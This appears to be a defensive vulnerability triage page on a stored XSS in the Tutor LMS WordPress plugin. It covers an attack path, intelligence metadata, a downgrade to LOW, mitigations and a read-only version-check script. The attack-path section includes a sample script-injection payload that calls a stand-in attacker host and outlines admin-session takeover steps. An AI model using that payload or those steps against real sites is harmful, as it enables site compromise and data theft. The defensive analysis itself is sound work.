← Back to Feed CACHED · 2026-07-01 16:49:28 · CACHE_KEY CVE-2026-13443
CVE-2026-13443 · CWE-79 · Disclosed 2026-07-01

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Stored…

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

An instructor with a keyboard writes JavaScript into a lesson attachment title and waits for the admin to click

Tutor LMS versions up to and including 3.9.13 fail to sanitize the *Lesson Attachment title* field before rendering it back to the browser. An authenticated user with Author-level (or above) WordPress role plus Tutor Instructor capability can drop a <script> payload into the attachment metadata; when any user — typically an administrator reviewing course content — loads the lesson page, the script executes in that user's browser context. Because the CVSS vector is S:C (scope changed), a payload firing in an admin session can steal cookies, mint nonces, or trigger admin-only AJAX endpoints, escalating to full site compromise via plugin install or user creation.

Themeum labeled this MEDIUM (6.4) and that is *fair on paper*. In real enterprise usage it lands lower: the pre-condition is a trusted, provisioned instructor account — an insider who already agreed to terms of use. XSS in an LMS is not a mass-exploitable perimeter bug; it is an insider-abuse and phishing-lure amplifier. The S:C / C:L / I:L split accurately reflects that this leaks *some* data and modifies *some* state, not that it hands over the box.

"Author-level stored XSS in a WordPress LMS plugin. Vendor says MEDIUM 6.4; on a 10k-host fleet this is backlog hygiene, not a fire drill."
02 · The Attack Path

4 steps from start to impact.

STEP 01

Attacker obtains Author + Instructor role

The attacker needs a WordPress account holding at least the Author role and the Tutor Instructor capability. On public course marketplaces this is often self-service; on internal corporate LMS deployments it requires an approved staff account or an account takeover of an existing instructor.
Conditions required:
  • Open instructor registration OR compromised instructor credentials
  • Target site running Tutor LMS ≤ 3.9.13
Where this breaks in practice:
  • Enterprise LMS deployments gate instructor role behind HR/IT provisioning
  • MFA on WP admin blocks credential-stuffing takeover of existing instructors
Detection/coverage: WPScan and Patchstack fingerprint the plugin version; no runtime detection for role assignment abuse.
STEP 02

Inject payload into Lesson Attachment title

Using the Tutor instructor UI (or the underlying wp-admin/post.php / REST route for lessons), the attacker creates or edits a lesson and adds an attachment whose title field contains an XSS payload such as "><script src=//evil.tld/x.js></script>. The value is persisted to wp_postmeta without sanitization.
Conditions required:
  • Ability to create/edit a lesson the attacker owns
  • Payload survives WP's kses filter for the attachment title path
Where this breaks in practice:
  • Sites running a WAF with generic XSS signatures (Wordfence, Sucuri, Cloudflare Managed Rules) will block naive payloads
  • kses filtering on some builds strips <script> — attacker must use event handlers or SVG
Detection/coverage: Wordfence and Patchstack mu-plugins log suspicious postmeta writes; audit trails via WP Activity Log.
STEP 03

Victim renders the lesson page

An administrator, course reviewer, or fellow student navigates to the lesson listing/detail. The unsanitized attachment title is output into the DOM and the payload executes in the victim's origin. Because S:C, a payload firing in an admin session can call privileged AJAX (admin-ajax.php) endpoints.
Conditions required:
  • A higher-privileged user (admin/editor) actually views the malicious lesson
  • Victim browser does not block via strict CSP
Where this breaks in practice:
  • Admins rarely browse individual instructor lesson pages in production LMS setups
  • A Content-Security-Policy with script-src 'self' neutralizes external script loads
Detection/coverage: Browser-side EDR (Defender for Cloud Apps, Netskope) can flag cookie exfil to novel domains.
STEP 04

Post-XSS abuse in admin context

Payload uses the admin's session to create a new administrator user, install a backdoored plugin, or exfiltrate WP nonces and wp-config.php-derived secrets via authenticated REST calls. This is where a *MEDIUM* XSS becomes a *site takeover* — but it requires the admin-view step above to actually fire.
Conditions required:
  • Admin session cookie or nonce accessible from JS (no HttpOnly on session — WP default is HttpOnly for auth cookies)
  • No CSP frame-ancestors / connect-src restriction
Where this breaks in practice:
  • WordPress wordpress_logged_in_* cookies are HttpOnly — direct theft is blocked; attacker must ride the session in-browser
  • Admin-plane MFA plugins (Wordfence 2FA, miniOrange) re-prompt on sensitive actions
Detection/coverage: WP Activity Log, Wordfence, Patchstack alert on new admin user / plugin install events.
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed as of 2026-07-02. No GreyNoise tag, no Patchstack incident report, no vendor IR notice.
Public PoCNo public PoC repo at disclosure. Wordfence/Patchstack advisories describe the sink but do not publish a weaponized payload.
EPSSNot yet scored (disclosed 2026-07-01). Historical Tutor LMS auth'd XSS CVEs sit at EPSS < 0.5% (e.g., CVE-2024-43231).
KEV statusNot listed. Authenticated WP plugin XSS has historically never been KEV-added.
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N — network reachable, low-priv auth needed, scope-changed, partial C/I impact.
Affected versionsTutor LMS <= 3.9.13 (all versions up to and including 3.9.13).
Fixed version3.9.14 (or later) per vendor changelog — verify against Themeum release notes before rollout.
Exposure (Shodan/Publicwww)~80k–120k live WordPress installs use Tutor LMS per wordpress.org active-install counter; a subset is enterprise-facing.
Disclosure date2026-07-01 — reported via the Wordfence / Patchstack bug bounty pipeline (standard Tutor LMS disclosure channel).
CWECWE-79 — Improper Neutralization of Input During Web Page Generation (XSS).
04 · The Call

noisgate verdict.

Final Verdict
DOWNGRADED to LOW (4.2/10)

Downgraded to LOW because the single most decisive factor is *authenticated Author + Instructor access is required* — the attacker must already be a provisioned staff member or have taken over an instructor account, which collapses the exploitable population to insider-abuse and social-engineering scenarios. The blast radius is a single WordPress LMS tenant, not a fleet or identity plane, so no role multiplier applies.

HIGH Attack prerequisites (PR:L, Instructor role) and CWE classification
MEDIUM Exposure and installed-base estimates
LOW Public PoC and in-the-wild activity — too early after 2026-07-01 disclosure

Why this verdict

  • Requires authenticated Author + Instructor role — this is not an unauth internet-exploitable bug; the attacker is already a trusted user of the site.
  • Two-victim chain — an admin or higher-priv user must actually browse the malicious lesson page for the payload to fire in a privileged session. In real enterprise LMS ops that step is rare.
  • Blast radius is one WordPress site, not a fleet. Even a full site takeover via chained admin XSS compromises one tenant of one CMS instance.
  • Role multiplier: the affected component is a *WordPress course plugin* — it is not an identity provider, hypervisor, CA, backup admin, kernel-mode agent, or network-edge appliance. There is no realistic high-value-role deployment where Tutor LMS itself sits on the identity or supply-chain plane. Floor is not raised.
  • No KEV, no PoC, no in-the-wild as of 2026-07-02. EPSS for the historical class of Tutor LMS auth'd XSS remains sub-percentile.

Why not higher?

Not MEDIUM/HIGH because the vendor's 6.4 already priced in S:C and the two-victim chain, but on a 10k-host fleet the *authenticated-insider* precondition dominates: you would not wake up a SOC for an XSS that a hired instructor can trigger against admins who rarely visit instructor content. No exploit code, no KEV, no exposure signal to justify escalation.

Why not lower?

Not IGNORE because S:C is real — a chained admin-view can end in site takeover, and public course platforms that self-register instructors materially expand the attacker pool. Backlog patching is warranted, not deferral to end-of-life.

05 · Compensating Control

What to do — in priority order.

  1. Restrict instructor role provisioning to HR-approved accounts — On enterprise LMS deployments, close self-service instructor signup and require IT-managed provisioning. Since verdict is LOW there is no noisgate mitigation SLA — apply as part of the 365-day remediation window, prioritizing sites with open instructor registration.
  2. Deploy a WAF ruleset covering WP auth'd XSS (Wordfence, Patchstack mu-plugin, Cloudflare Managed Rules) — Blocks naive <script>, onerror=, and javascript: payloads in postmeta writes. Roll out during normal change windows within the 365-day noisgate remediation SLA.
  3. Enforce MFA on all WP admin, editor, and instructor accounts — Kills the credential-stuffing takeover path to an existing instructor. Standard hygiene — deploy alongside patch rollout.
  4. Add a strict Content-Security-Policy to WP admin and course pagesscript-src 'self' with nonces blocks external payload loads and inline script execution — neutralizes the practical exfil path even if the sink is triggered.
What doesn't work
  • Network segmentation of the LMS — irrelevant; the attacker is an authenticated user reaching the site via HTTPS like everyone else.
  • HttpOnly cookies alone — WP already sets HttpOnly on auth cookies; the attacker rides the session in-browser rather than stealing the cookie.
  • Disabling file uploads — the sink is the attachment *title* field, not the file content; upload blocking does not close the sink.
  • Generic EDR on the web server — this is a client-side execution bug; server-side EDR sees nothing relevant.
06 · Verification

Crowdsourced verification payload.

Run this on an auditor workstation or CI runner with curl and network reach to the target WP site. It reads the plugin version from the public readme.txt. Invoke as: ./check-tutor-lms.sh https://lms.example.com. No credentials required.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# noisgate CVE-2026-13443 check — Tutor LMS stored XSS via Lesson Attachment
# Usage: ./check-tutor-lms.sh <site-base-url>
# Exit: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN
set -u
SITE="${1:-}"
if [ -z "$SITE" ]; then
  echo "UNKNOWN: usage $0 <https://site>" >&2
  exit 2
fi
FIXED="3.9.14"
README_URL="${SITE%/}/wp-content/plugins/tutor/readme.txt"
BODY="$(curl -fsSL --max-time 10 "$README_URL" 2>/dev/null || true)"
if [ -z "$BODY" ]; then
  echo "UNKNOWN: cannot fetch $README_URL (plugin not present, blocked, or path hardened)"
  exit 2
fi
VER="$(echo "$BODY" | grep -iE '^Stable tag:' | head -n1 | awk -F: '{print $2}' | tr -d ' \r')"
if [ -z "$VER" ]; then
  echo "UNKNOWN: could not parse Stable tag from readme.txt"
  exit 2
fi
# semver compare
printf '%s\n%s\n' "$FIXED" "$VER" | sort -V | head -n1 | grep -qx "$FIXED"
if [ "$?" -eq 0 ] && [ "$VER" != "$FIXED" ] || [ "$VER" = "$FIXED" ]; then
  # VER >= FIXED
  echo "PATCHED: Tutor LMS version $VER >= $FIXED"
  exit 0
else
  echo "VULNERABLE: Tutor LMS version $VER < $FIXED (CVE-2026-13443)"
  exit 1
fi
07 · Bottom Line

If you remember one thing.

TL;DR
This is a LOW-priority backlog item, not an incident. Per the noisgate mitigation SLA for LOW there is no mitigation deadline — go straight to the noisgate remediation SLA of ≤ 365 days: schedule the Tutor LMS 3.9.14+ upgrade into your normal WordPress plugin maintenance window over the next quarter. Monday morning: (1) inventory which of your 10k hosts run Tutor LMS via the verification script, (2) confirm instructor provisioning is not self-service on any public-facing site, (3) enforce MFA on admin/instructor accounts if not already, (4) queue the plugin update behind higher-severity work. Do not page anyone; do not open a P1.

Sources

  1. TheHackerWire — CVE-2026-13443
  2. WPScan — Tutor LMS vulnerability index
  3. Patchstack — Tutor LMS vulnerabilities
  4. CVE Details — Themeum Tutor LMS
  5. SecAlerts — Themeum Tutor LMS latest
  6. Threatpost — Tutor LMS security holes (context)
  7. CWE-79 — Cross-site Scripting
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.